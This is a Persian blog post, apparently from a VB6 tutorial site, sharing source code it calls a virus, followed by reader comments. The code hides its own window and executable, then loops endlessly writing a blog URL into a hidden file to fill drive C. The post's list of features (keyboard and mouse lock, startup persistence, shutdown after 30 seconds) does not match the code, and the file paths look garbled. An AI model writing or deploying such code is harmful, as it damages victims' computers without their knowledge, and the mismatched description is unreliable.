من سورس یک ویروس رو براتون میزارم با این مسخصات:

1- صفحه کلید و موس قفل میشه.

2- خودش رو به استارت آپ میرسونه.

3- بعد از 30 ثانیه کامپیوتر خاموش میشه.

4- یک صفحه هم به کاربر نشون میده.

Dim m
Private Sub Form_Load()
On Error Resume Next
Dim a As Integer
Dim s As Integer
Form1.Hide
App.TaskVisible = False
m = App.Path + "" + "project1.exe"
Print m
SetAttr m, vbHidden + vbSystem
a = FreeFile
Open "C:Hacker4906.txt" For Output As #a
Shell "attrib +h +s C:Hacker4906.txt"
For s = 1 To 2 Step 0
On Error Resume Next
Print #a, "********* http://programming-vb6.rozblog.com *********"
Next
Close
End Sub

این کد باعث میشه حافظه درایو سی پر بشه بدون اینکه کاربر بتونه برنامه رو ببینه یا حذف کنه و بعد از اجرا برنامه پنهان میشه

نظرات شما عزیزان:

reza

ساعت15:42---15 مهر 1393

- [ایمیل]

ایا اگر خودمم اینو باز کنم ویوسی میشم یا نه
پاسخ: بله دوست عزیز ویروسی میشی

بطوچه

ساعت21:34---4 مرداد 1393

[وب سایت]

ببين عمو جون بجاي ياد دادن اين كسشرا به مردم برو درستو بخون
پاسخ:سلام ممنون از نظر غنی و پر محتواتون.

نام :

آدرس ایمیل:

وب سایت/بلاگ :

متن پیام:

نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه: